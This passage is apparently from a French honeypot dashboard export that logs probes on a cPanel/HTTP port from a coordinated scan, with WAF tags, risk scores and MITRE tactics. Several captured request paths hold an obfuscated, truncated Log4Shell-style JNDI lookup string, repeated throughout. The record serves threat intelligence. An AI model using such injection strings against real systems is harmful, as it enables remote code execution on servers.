"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950326:rce-0",
"950327:rce-0",
"950470:nosqli-3",
"950471:nosqli-3",
"http_credential_body",
"http_probe_login",
"http_ssti",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:40 UTC
TCP
2083 · HTTP
Sonde port 2083/TCP
port 2083 tcp · via HTTP:2083 · (sonde / probe) · → /${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}…
Élevée
Moyen · 59
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
PUT /${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
PUT
/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-/}${4h:9o:-/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-a}${
TLS SNI
—
Capteur
paris-1
Méthode
PUT
Port
2083
Chemin / cible
/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-/}${4h:9o:-/}${8u:pe:-P}${zp26:f:-A…
Preuve honeypot — Sonde port 2083/TCP
Connexion détectée sur le port 2083 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_2083_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 59
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
PUT /${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-/}${4h:9o:-/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
PUT /${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-
Requête brute (extrait)
PUT /${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-/}${4h:9o:-/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${43et:n5zq:7k:-g}${w:2u:-o}${f:j5b:-o}${8v9u:q:n5:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "67eaca241c6dfd51f5189023397b7c1347b672ff",
"http_target_hash": "331e67d69278b17b8ae1f8732ed12f6032cb0e10",
"http_referer_hash": null,
"http_method": "PUT",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.895049174755621,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 100,
"risk_classification": 60,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 43,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 4,
"risk_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25
},
"risk_score": 59,
"tag_count": 9,
"anomaly_count": 0,
"campaign_key": "91f5c5aa05fbb22c0c916797609f9b63c7eddbff",
"event_fingerprint": "7f3e98da52548ed9ac2b54ef1da93a61d4f50d73",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"confidence": 0.68,
"classification_confidence": 0.68,
"precision_score": 70,
"precision_signals": [
"pat-0162"
],
"kb_rule_ids": [
"pat-0162"
],
"matched_patterns": [
"pat-0162"
],
"matched_pattern_names": [
"CRS 933135"
],
"pattern_ids": [
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 18
},
"named_classification_skipped": true,
"named_candidate": "php_injection",
"service_name": "http",
"risk_confidence_factor": 50,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "81713f9fed049fe37d743cf1f2bf1345",
"path_pattern_hash": "802a20f27f3e6f47ab51ce7fae7d9c83"
},
"target_context": {
"dst_port": 2083,
"service": "http",
"service_name": "http",
"risk_score": 59
},
"method": "PUT",
"path": "\/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-a}${",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-",
"payload_snippet": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-",
"evidence": {
"method": "PUT",
"path": "\/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-a}${",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8:q:9zk:-s}${ukh:1w:o:-:}${ml:6:f0:-j}${etc:zv:bkzf:-a}${ocf:-v}${f:42:j5ve:-a}${5:5ygq:8ye:-.}${z:6zq:dnf:-v}${o85:mv:60n:-e}${gwyc:-r}${9hu:5p:-s}${g:u:j:-i}${krs:5lqx:-o}${5v:-n}}${8:-.}${m24o:g:-3}${v:-5}${ws6:ou:pqra:-5}${ns:-e}${ubv:-d}${gazq:hm5:yt:-",
"request_sample": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:-c}${nu6a:d:jp0v:--}${${qn:zgo3:um:-s}${h:7bsj:9n:-y}${z8",
"payload_snippet": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-",
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "e371a397db69364fb92d4c4ed3e00d94644d158c",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A\u2026",
"request_line": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-",
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}\u2026",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_2083_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 59\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 43,
"novelty": 25,
"risk_score": 59,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 59,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "PUT",
"http_path": "\/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A\u2026",
"request_line": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-\/}${4h:9o:-\/}${8u:pe:-P}${zp26:f:-A}${8lm:38w6:-l}${s5:3x96:-0}${ezq:q:\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 2083,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 2083 tcp \u00b7 via HTTP:2083 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}\u2026",
"evidence_snippet": "PUT \/${${bcu:0:-j}${af:m:-n}${0rjk:-d}${z6t:s12:-i}${5:-:}${lf:hb8l:-l}${a6g:4y:d:-d}${l:-a}${c:bqh7:-p}${jw:-:}${dhx9:luv6:e8:-",
"target_port_label": "2083 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "2083"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"cpanel-ssl",
"http"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 18,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"http_auth_header_token",
"http_bearer_auth",
"http_dangerous_method",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
31/07/2026 15:15:39 UTC
TCP
2083 · CPANEL SSL
deser php attack
deser php attack · via CPANEL SSL:2083 · (tentative d'exploit)
Élevée
Moyen · 53
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
Émulateur
CPANEL-SSL
WAF
—
Recommandation
Investiguer
Tags
cpanel_ssl_emulated
net_cpanel_probe
Cible HTTP
—
TLS SNI
—
Capteur
paris-1
Méthode
—
Port
2083
Chemin / cible
—
Service
CPANEL SSL
Payload
ZSDLKFJ2 /${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 97%
Confiance classification
100%
Corrélation +18
Risque capteur
Moyen
· 53
Confiance : Confiance 97 % — Preuve dans le payload · Motif catalogue confirmé
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
User-Agent
—
Règles WAF
—
Payload (extrait)
ZSDLKFJ2 /${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned
Requête brute (extrait)
ZSDLKFJ2 /${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned:-/}${v6u:3:f:-/}${h16:-P}${m1fa:qj8:-A}${szd:-l}${4:j5n:-0}${93:ft1:-c}${vo:e:--}${${1:k4:y1o:-s}${7th:xp6:-y}${w:g32o:6:-s}${l
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120323030204f4b0d0a5365727665723a206370737276642f31312e3131300d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2033380d0a0d0a3c68746d6c3e3c626f64793e6350616e656c204c6f67696e3c2f626f64793e3c2f68746d6c3e",
"emulator_response_len": 125,
"bytes_in": 4096,
"payload_entropy": 4.880439284625566,
"port_category": "registered",
"org": "Google LLC",
"service": "cpanel-ssl",
"app_proto": "cpanel-ssl",
"asn": 396982,
"country": "US",
"dst_port": 2083,
"risk_waf": 8,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 30,
"risk_novelty": 15,
"risk_boost": 0,
"risk_granularity": 1.7,
"risk_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15
},
"risk_score": 53,
"tag_count": 2,
"anomaly_count": 0,
"campaign_key": "c0f9f6f627a73b24caa302338d5283f47efa634a",
"event_fingerprint": "80d2812b66b9080b0842670f25ce9d4d3386dae1",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "cpanel-ssl",
"risk_confidence_factor": 97,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"payload_hash": "72f59f7c39bf1455756b6a4a750d1e19",
"path_pattern_hash": "e6c370bdc6e91caeaf2944fa8b3262c9"
},
"target_context": {
"dst_port": 2083,
"service": "cpanel-ssl",
"service_name": "cpanel-ssl",
"risk_score": 53
},
"payload_preview": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"request_sample": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned:-\/}${v6u:3:f:-\/}${h16:-P}${m1fa:qj8:-A}${szd:-l}${4:j5n:-0}${93:ft1:-c}${vo:e:--}${${1:k4:y1o:-s}${7th:xp6:-y}${w:g32o:6:-s}${l",
"payload_snippet": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"evidence": {
"request_sample": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned:-\/}${v6u:3:f:-\/}${h16:-P}${m1fa:qj8:-A}${szd:-l}${4:j5n:-0}${93:ft1:-c}${vo:e:--}${${1:k4:y1o:-s}${7th:xp6:-y}${w:g32o:6:-s}${l",
"payload_snippet": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "46963f297ee006cde44e7f105440f786db600d7e",
"protocol_details": {
"payload_preview": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"port": 2083,
"service": "cpanel-ssl",
"service_label_fr": "CPANEL SSL"
},
"evidence_snippet": "ZSDLKFJ2 \/${${y7u:-j}${zu2d:03x:-n}${gvkj:-d}${g28:-i}${w:4x7:n2:-:}${rg:7nk:-l}${k4:32k5:-d}${g1p:x6:-a}${e5u:-p}${7p:-:}${hned",
"attack_vector": "deser php attack \u00b7 via CPANEL SSL:2083 \u00b7 (tentative d'exploit)",
"target_port_label": "2083 \u00b7 CPANEL SSL",
"emulator_service": "cpanel-ssl",
"confidence_reason": "Confiance 97 % \u2014 Preuve dans le payload \u00b7 Motif catalogue confirm\u00e9",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 97%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 53\/100 (Moyen) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via CPANEL SSL \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 8,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 30,
"novelty": 15,
"risk_score": 53,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 53,
"risk_label": "Moyen",
"service_name": "cpanel-ssl",
"service_label_fr": "CPANEL SSL",
"dst_port": 2083,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-cpanel-ssl",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
